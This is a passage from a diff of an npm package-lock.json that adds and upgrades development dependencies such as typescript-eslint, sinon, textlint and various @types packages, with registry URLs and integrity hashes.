"https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.2.2.tgz", + "integrity": "sha512-KJRbIShA9DVc5Va3yArtJ6QDzGjg3PRa1uYp9As4RsyKtKSSZjI64jVca57FZ8gbuk4em0/0Jq+uy6485wxIdg==", + "dev": true, + "requires": { + "@secretlint/types": "^10.2.2" + } + }, + "@secretlint/secretlint-rule-preset-recommend": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.2.2.tgz", + "integrity": "sha512-K3jPqjva8bQndDKJqctnGfwuAxU2n9XNCPtbXVI5JvC7FnQiNg/yWlQPbMUlBXtBoBGFYp08A94m6fvtc9v+zA==", + "dev": true + }, + "@secretlint/source-creator": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.2.2.tgz", + "integrity": "sha512-h6I87xJfwfUTgQ7irWq7UTdq/Bm1RuQ/fYhA3dtTIAop5BwSFmZyrchph4WcoEvbN460BWKmk4RYSvPElIIvxw==", + "dev": true, + "requires": { + "@secretlint/types": "^10.2.2", + "istextorbinary": "^9.5.0" + } + }, + "@secretlint/types": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.2.2.tgz", + "integrity": "sha512-Nqc90v4lWCXyakD6xNyNACBJNJ0tNCwj2WNk/7ivyacYHxiITVgmLUFXTBOeCdy79iz6HtN9Y31uw/jbLrdOAg==", + "dev": true + }, + "@sindresorhus/merge-streams": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-2.3.0.tgz", + "integrity": "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==", + "dev": true + }, + "@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", + "dev": true, + "requires": { + "type-detect": "4.0.8" + }, + "dependencies": { + "type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true + } + } + }, + "@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", + "dev": true, + "requires": { + "@sinonjs/commons": "^3.0.1" + } + }, + "@sinonjs/samsam": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-8.0.2.tgz", + "integrity": "sha512-v46t/fwnhejRSFTGqbpn9u+LQ9xJDse10gNnPgAcxgdoCDMXj/G2asWAC/8Qs+BAZDicX+MNZouXT1A7c83kVw==", + "dev": true, + "requires": { + "@sinonjs/commons": "^3.0.1", + "lodash.get": "^4.4.2", + "type-detect": "^4.1.0" + } + }, + "@so-ric/colorspace": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@so-ric/colorspace/-/colorspace-1.1.6.tgz", + "integrity": "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==", + "dev": true, + "requires": { + "color": "^5.0.2", + "text-hex": "1.0.x" + } + }, + "@textlint/ast-node-types": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-15.2.2.tgz", + "integrity": "sha512-9ByYNzWV8tpz6BFaRzeRzIov8dkbSZu9q7IWqEIfmRuLWb2qbI/5gTvKcoWT1HYs4XM7IZ8TKSXcuPvMb6eorA==", + "dev": true + }, + "@textlint/linter-formatter": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-15.2.2.tgz", + "integrity": "sha512-oMVaMJ3exFvXhCj3AqmCbLaeYrTNLqaJnLJMIlmnRM3/kZdxvku4OYdaDzgtlI194cVxamOY5AbHBBVnY79kEg==", + "dev": true, + "requires": { + "@azu/format-text": "^1.0.2", + "@azu/style-format": "^1.0.1", + "@textlint/module-interop": "15.2.2", + "@textlint/resolver": "15.2.2", + "@textlint/types": "15.2.2", + "chalk": "^4.1.2", + "debug": "^4.4.1", + "js-yaml": "^3.14.1", + "lodash": "^4.17.21", + "pluralize": "^2.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "table": "^6.9.0", + "text-table": "^0.2.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "pluralize": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-2.0.0.tgz", + "integrity": "sha512-TqNZzQCD4S42De9IfnnBvILN7HAW7riLqsCyp8lgjXeysyPlX5HhqKAcJHHHb9XskE4/a+7VGC9zzx8Ls0jOAw==", + "dev": true + } + } + }, + "@textlint/module-interop": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-15.2.2.tgz", + "integrity": "sha512-2rmNcWrcqhuR84Iio1WRzlc4tEoOMHd6T7urjtKNNefpTt1owrTJ9WuOe60yD3FrTW0J/R0ux5wxUbP/eaeFOA==", + "dev": true + }, + "@textlint/resolver": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-15.2.2.tgz", + "integrity": "sha512-4hGWjmHt0y+5NAkoYZ8FvEkj8Mez9TqfbTm3BPjoV32cIfEixl2poTOgapn1rfm73905GSO3P1jiWjmgvii13Q==", + "dev": true + }, + "@textlint/types": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/types/-/types-15.2.2.tgz", + "integrity": "sha512-X2BHGAR3yXJsCAjwYEDBIk9qUDWcH4pW61ISfmtejau+tVqKtnbbvEZnMTb6mWgKU1BvTmftd5DmB1XVDUtY3g==", + "dev": true, + "requires": { + "@textlint/ast-node-types": "15.2.2" + } + }, + "@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "dev": true + }, + "@trivago/prettier-plugin-sort-imports": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@trivago/prettier-plugin-sort-imports/-/prettier-plugin-sort-imports-6.0.0.tgz", + "integrity": "sha512-Xarx55ow0R8oC7ViL5fPmDsg1EBa1dVhyZFVbFXNtPPJyW2w9bJADIla8YFSaNG9N06XfcklA9O9vmw4noNxkQ==", + "dev": true, + "requires": { + "@babel/generator": "^7.28.0", + "@babel/parser": "^7.28.0", + "@babel/traverse": "^7.28.0", + "@babel/types": "^7.28.0", + "javascript-natural-sort": "^0.7.1", + "lodash-es": "^4.17.21", + "minimatch": "^9.0.0", + "parse-imports-exports": "^0.2.4" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, + "@types/archiver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-7.0.0.tgz", + "integrity": "sha512-/3vwGwx9n+mCQdYZ2IKGGHEFL30I96UgBlk8EtRDDFQ9uxM1l4O5Ci6r00EMAkiDaTqD9DQ6nVrWRICnBPtzzg==", + "dev": true, + "requires": { + "@types/readdir-glob": "*" + } + }, + "@types/aws-lambda": { + "version": "8.10.149", + "resolved": "https://registry.npmjs.org/@types/aws-lambda/-/aws-lambda-8.10.149.tgz", + "integrity": "sha512-NXSZIhfJjnXqJgtS7IwutqIF/SOy1Wz5Px4gUY1RWITp3AYTyuJS4xaXr/bIJY1v15XMzrJ5soGnPM+7uigZjA==", + "dev": true + }, + "@types/braces": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/braces/-/braces-3.0.5.tgz", + "integrity": "sha512-SQFof9H+LXeWNz8wDe7oN5zu7ket0qwMu5vZubW4GCJ8Kkeh6nBWUz87+KTz/G3Kqsrp0j/W253XJb3KMEeg3w==", + "dev": true + }, + "@types/btoa-lite": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@types/btoa-lite/-/btoa-lite-1.0.2.tgz", + "integrity": "sha512-ZYbcE2x7yrvNFJiU7xJGrpF/ihpkM7zKgw8bha3LNJSesvTtUNxbpzaT7WXBIryf6jovisrxTBvymxMeLLj1Mg==", + "dev": true + }, + "@types/chai": { + "version": "4.3.19", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.19.tgz", + "integrity": "sha512-2hHHvQBVE2FiSK4eN0Br6snX9MtolHaTo/batnLjlGRhoQzlCL61iVpxoqO7SfFyOw+P/pwv+0zNHzKoGWz9Cw==", + "dev": true + }, + "@types/chai-as-promised": { + "version": "7.1.8", + "resolved": "https://registry.npmjs.org/@types/chai-as-promised/-/chai-as-promised-7.1.8.tgz", + "integrity": "sha512-ThlRVIJhr69FLlh6IctTXFkmhtP3NpMZ2QGq69StYLyKZFp/HOp1VdKZj7RvfNWYYcJ1xlbLGLLWj1UvP5u/Gw==", + "dev": true, + "requires": { + "@types/chai": "*" + } + }, + "@types/chai-subset": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/@types/chai-subset/-/chai-subset-1.3.6.tgz", + "integrity": "sha512-m8lERkkQj+uek18hXOZuec3W/fCRTrU4hrnXjH3qhHy96ytuPaPiWGgu7sJb7tZxZonO75vYAjCvpe/e4VUwRw==", + "dev": true, + "requires": {} + }, + "@types/decompress": { + "version": "4.2.7", + "resolved": "https://registry.npmjs.org/@types/decompress/-/decompress-4.2.7.tgz", + "integrity": "sha512-9z+8yjKr5Wn73Pt17/ldnmQToaFHZxK0N1GHysuk/JIPT8RIdQeoInM01wWPgypRcvb6VH1drjuFpQ4zmY437g==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/diff": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@types/diff/-/diff-8.0.0.tgz", + "integrity": "sha512-o7jqJM04gfaYrdCecCVMbZhNdG6T1MHg/oQoRFdERLV+4d+V7FijhiEAbFu0Usww84Yijk9yH58U4Jk4HbtzZw==", + "dev": true, + "requires": { + "diff": "*" + } + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true + }, + "@types/jsonwebtoken": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/@types/jsonwebtoken/-/jsonwebtoken-9.0.9.tgz", + "integrity": "sha512-uoe+GxEuHbvy12OUQct2X9JenKM3qAscquYymuQN4fMWG9DBQtykrQEFcAbVACF7qaLw9BePSodUL0kquqBJpQ==", + "dev": true, + "requires": { + "@types/ms": "*", + "@types/node": "*" + } + }, + "@types/lcov-parse": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@types/lcov-parse/-/lcov-parse-1.0.2.tgz", + "integrity": "sha512-tdoxiYm04XdDEdR7UMwkWj78UAVo9U2IOcxI6tmX2/s9TK/ue/9T8gbpS/07yeWyVkVO0UumFQ5EUIBQbVejzQ==", + "dev": true + }, + "@types/lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-w/P33JFeySuhN6JLkysYUK2gEmy9kHHFN7E8ro0tkfmlDOgxBDzWEZ/J8cWA+fHqFevpswDTFZnDx+R9lbL6xw==", + "dev": true + }, + "@types/lodash.debounce": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/lodash.debounce/-/lodash.debounce-4.0.9.tgz", + "integrity": "sha512-Ma5JcgTREwpLRwMM+XwBR7DaWe96nC38uCBDFKZWbNKD+osjVzdpnUSwBcqCptrp16sSOLBAUb50Car5I0TCsQ==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/lodash.throttle": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@types/lodash.throttle/-/lodash.throttle-4.1.9.tgz", + "integrity": "sha512-PCPVfpfueguWZQB7pJQK890F2scYKoDUL3iM522AptHWn7d5NQmeS/LTEHIcLr5PaTzl3dK2Z0xSUHHTHwaL5g==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/micromatch": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.10.tgz", + "integrity": "sha512-5jOhFDElqr4DKTrTEbnW8DZ4Hz5LRUEmyrGpCMrD/NphYv3nUnaF08xmSLx1rGGnyEs/kFnhiw6dCgcDqMr5PQ==", + "dev": true, + "requires": { + "@types/braces": "*" + } + }, + "@types/mocha": { + "version": "10.0.10", + "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.10.tgz", + "integrity": "sha512-xPyYSz1cMPnJQhl0CLMH68j3gprKZaTjG3s5Vi+fDgx+uhG9NOXwbVt52eFS8ECyXhyKcjDLCBEqBExKuiZb7Q==", + "dev": true + }, + "@types/mock-fs": { + "version": "4.13.4", + "resolved": "https://registry.npmjs.org/@types/mock-fs/-/mock-fs-4.13.4.tgz", + "integrity": "sha512-mXmM0o6lULPI8z3XNnQCpL0BGxPwx1Ul1wXYEPBGl4efShyxW2Rln0JOPEWGyZaYZMM6OVXM/15zUuFMY52ljg==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true + }, + "@types/node": { + "version": "20.19.25", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.25.tgz", + "integrity": "sha512-ZsJzA5thDQMSQO788d7IocwwQbI8B5OPzmqNvpf3NY/+MHDAS759Wo0gd2WQeXYt5AAAQjzcrTVC6SKCuYgoCQ==", + "dev": true, + "requires": { + "undici-types": "~6.21.0" + } + }, + "@types/normalize-package-data": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", + "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", + "dev": true + }, + "@types/plist": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/plist/-/plist-3.0.5.tgz", + "integrity": "sha512-E6OCaRmAe4WDmWNsL/9RMqdkkzDCY1etutkflWk4c+AcjDU07Pcz1fQwTX0TQz+Pxqn9i4L1TU3UFpjnrcDgxA==", + "dev": true, + "requires": { + "@types/node": "*", + "xmlbuilder": ">=11.0.1" + } + }, + "@types/readdir-glob": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@types/readdir-glob/-/readdir-glob-1.1.5.tgz", + "integrity": "sha512-raiuEPUYqXu+nvtY2Pe8s8FEmZ3x5yAH4VkLdihcPdalvsHltomrRC9BzuStrJ9yk06470hS0Crw0f1pXqD+Hg==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/sarif": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.7.tgz", + "integrity": "sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==", + "dev": true + }, + "@types/semver": { + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==", + "dev": true + }, + "@types/sinon": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/sinon/-/sinon-21.0.0.tgz", + "integrity": "sha512-+oHKZ0lTI+WVLxx1IbJDNmReQaIsQJjN2e7UUrJHEeByG7bFeKJYsv1E75JxTQ9QKJDp21bAa/0W2Xo4srsDnw==", + "dev": true, + "requires": { + "@types/sinonjs__fake-timers": "*" + } + }, + "@types/sinon-chai": { + "version": "3.2.12", + "resolved": "https://registry.npmjs.org/@types/sinon-chai/-/sinon-chai-3.2.12.tgz", + "integrity": "sha512-9y0Gflk3b0+NhQZ/oxGtaAJDvRywCa5sIyaVnounqLvmf93yBF4EgIRspePtkMs3Tr844nCclYMlcCNmLCvjuQ==", + "dev": true, + "requires": { + "@types/chai": "*", + "@types/sinon": "*" + } + }, + "@types/sinonjs__fake-timers": { + "version": "8.1.5", + "resolved": "https://registry.npmjs.org/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.5.tgz", + "integrity": "sha512-mQkU2jY8jJEF7YHjHvsQO8+3ughTL1mcnn96igfhONmR+fUPSKIkefQYpSe8bsly2Ep7oQbn/6VG5/9/0qcArQ==", + "dev": true + }, + "@types/source-map-support": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/@types/source-map-support/-/source-map-support-0.5.10.tgz", + "integrity": "sha512-tgVP2H469x9zq34Z0m/fgPewGhg/MLClalNOiPIzQlXrSS2YrKu/xCdSCKnEDwkFha51VKEKB6A9wW26/ZNwzA==", + "dev": true, + "requires": { + "source-map": "^0.6.0" + } + }, + "@types/svg2ttf": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@types/svg2ttf/-/svg2ttf-5.0.3.tgz", + "integrity": "sha512-hL+/A4qMISvDbDTtdY73R0zuvsdc7YRYnV5FyAfKVGk8OsluXu/tCFxop7IB5Sgr+ZCS0hHtFxylD0REmm+abA==", + "dev": true + }, + "@types/svgicons2svgfont": { + "version": "10.0.5", + "resolved": "https://registry.npmjs.org/@types/svgicons2svgfont/-/svgicons2svgfont-10.0.5.tgz", + "integrity": "sha512-7BUT1sEFSNBIcc0wlwKn2l3l3OnYJdjsrlruDbAp6hpOK3HbpgMjLVH4ql6xXwD+qYy+XEHrb2EMkIpo9kWZ+Q==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/triple-beam": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", + "integrity": "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==", + "dev": true + }, + "@types/ttf2woff": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/ttf2woff/-/ttf2woff-2.0.4.tgz", + "integrity": "sha512-pD66iwSkU5lIMWWTz5sxIMjwM7/qs/EYgE01vqu5C3S1izONHiF1GRy2dWvlKMlC39TfZszP7+OVXgVk3BccOg==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/vscode": { + "version": "1.89.0", + "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.89.0.tgz", + "integrity": "sha512-TMfGKLSVxfGfoO8JfIE/neZqv7QLwS4nwPwL/NwMvxtAY2230H2I4Z5xx6836pmJvMAzqooRQ4pmLm7RUicP3A==", + "dev": true + }, + "@types/xml2js": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/@types/xml2js/-/xml2js-0.4.14.tgz", + "integrity": "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@typescript-eslint/eslint-plugin": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.47.0.tgz", + "integrity": "sha512-fe0rz9WJQ5t2iaLfdbDc9T80GJy0AeO453q8C3YCilnGozvOyCG5t+EZtg7j7D88+c3FipfP/x+wzGnh1xp8ZA==", + "dev": true, + "requires": { + "@eslint-community/regexpp": "^4.10.0", + "@typescript-eslint/scope-manager": "8.47.0", + "@typescript-eslint/type-utils": "8.47.0", + "@typescript-eslint/utils": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0", + "graphemer": "^1.4.0", + "ignore": "^7.0.0", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.1.0" + }, + "dependencies": { + "ignore": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.4.tgz", + "integrity": "sha512-gJzzk+PQNznz8ysRrC0aOkBNVRBDtE1n53IqyqEf3PXrYwomFs5q4pGMizBMJF+ykh03insJ27hB8gSrD2Hn8A==", + "dev": true + } + } + }, + "@typescript-eslint/parser": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.47.0.tgz", + "integrity": "sha512-lJi3PfxVmo0AkEY93ecfN+r8SofEqZNGByvHAI3GBLrvt1Cw6H5k1IM02nSzu0RfUafr2EvFSw0wAsZgubNplQ==", + "dev": true, + "requires": { + "@typescript-eslint/scope-manager": "8.47.0", + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/typescript-estree": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0", + "debug": "^4.3.4" + } + }, + "@typescript-eslint/project-service": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.47.0.tgz", + "integrity": "sha512-2X4BX8hUeB5JcA1TQJ7GjcgulXQ+5UkNb0DL8gHsHUHdFoiCTJoYLTpib3LtSDPZsRET5ygN4qqIWrHyYIKERA==", + "dev": true, + "requires": { + "@typescript-eslint/tsconfig-utils": "^8.47.0", + "@typescript-eslint/types": "^8.47.0", + "debug": "^4.3.4" + } + }, + "@typescript-eslint/scope-manager": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.47.0.tgz", + "integrity": "sha512-a0TTJk4HXMkfpFkL9/WaGTNuv7JWfFTQFJd6zS9dVAjKsojmv9HT55xzbEpnZoY+VUb+YXLMp+ihMLz/UlZfDg==", + "dev": true, + "requires": { + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0" + } + }, + "@typescript-eslint/tsconfig-utils": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.47.0.tgz", + "integrity": "sha512-ybUAvjy4ZCL11uryalkKxuT3w3sXJAuWhOoGS3T/Wu+iUu1tGJmk5ytSY8gbdACNARmcYEB0COksD2j6hfGK2g==", + "dev": true, + "requires": {} + }, + "@typescript-eslint/type-utils": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.47.0.tgz", + "integrity": "sha512-QC9RiCmZ2HmIdCEvhd1aJELBlD93ErziOXXlHEZyuBo3tBiAZieya0HLIxp+DoDWlsQqDawyKuNEhORyku+P8A==", + "dev": true, + "requires": { + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/typescript-estree": "8.47.0", + "@typescript-eslint/utils": "8.47.0", + "debug": "^4.3.4", + "ts-api-utils": "^2.1.0" + } + }, + "@typescript-eslint/types": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.47.0.tgz", + "integrity": "sha512-nHAE6bMKsizhA2uuYZbEbmp5z2UpffNrPEqiKIeN7VsV6UY/roxanWfoRrf6x/k9+Obf+GQdkm0nPU+vnMXo9A==", + "dev": true }, "@typescript-eslint/typescript-estree": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.4.0.tgz", - "integrity": "sha512-nhlNoBdhKuwiLMx6GrybPT3SFILm5Gij2YBdPEPFlYNFAXUJWX6QRgvi/lwVoadaQEFsizohs6aFRMqsXI2ewA==", + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.47.0.tgz", + "integrity": "sha512-k6ti9UepJf5NpzCjH31hQNLHQWupTRPhZ+KFF8WtTuTpy7uHPfeg2NM7cP27aCGajoEplxJDFVCEm9TGPYyiVg==", "dev": true, "requires": { - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/visitor-keys": "5.4.0", - "debug": "^4.3.2", - "globby": "^11.0.4", + "@typescript-eslint/project-service": "8.47.0", + "@typescript-eslint/tsconfig-utils": "8.47.0", + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0", + "debug": "^4.3.4", + "fast-glob": "^3.3.2", "is-glob": "^4.0.3", - "semver": "^7.3.5", - "tsutils": "^3.21.0" + "minimatch": "^9.0.4", + "semver": "^7.6.0", + "ts-api-utils": "^2.1.0" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, + "@typescript-eslint/utils": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.47.0.tgz", + "integrity": "sha512-g7XrNf25iL4TJOiPqatNuaChyqt49a/onq5YsJ9+hXeugK+41LVg7AxikMfM02PC6jbNtZLCJj6AUcQXJS/jGQ==", + "dev": true, + "requires": { + "@eslint-community/eslint-utils": "^4.7.0", + "@typescript-eslint/scope-manager": "8.47.0", + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/typescript-estree": "8.47.0" } }, "@typescript-eslint/visitor-keys": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.4.0.tgz", - "integrity": "sha512-PVbax7MeE7tdLfW5SA0fs8NGVVr+buMPrcj+CWYWPXsZCH8qZ1THufDzbXm1xrZ2b2PA1iENJ0sRq5fuUtvsJg==", + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.47.0.tgz", + "integrity": "sha512-SIV3/6eftCy1bNzCQoPmbWsRLujS8t5iDIZ4spZOBHqrM+yfX2ogg8Tt3PDTAVKw3sSCiUgg30uOAvK2r9zGjQ==", "dev": true, "requires": { - "@typescript-eslint/types": "5.4.0", - "eslint-visitor-keys": "^3.0.0" + "@typescript-eslint/types": "8.47.0", + "eslint-visitor-keys": "^4.2.1" + }, + "dependencies": { + "eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true + } } }, - "@ungap/promise-all-settled": { - "version": "1.1.2", - "resolved": 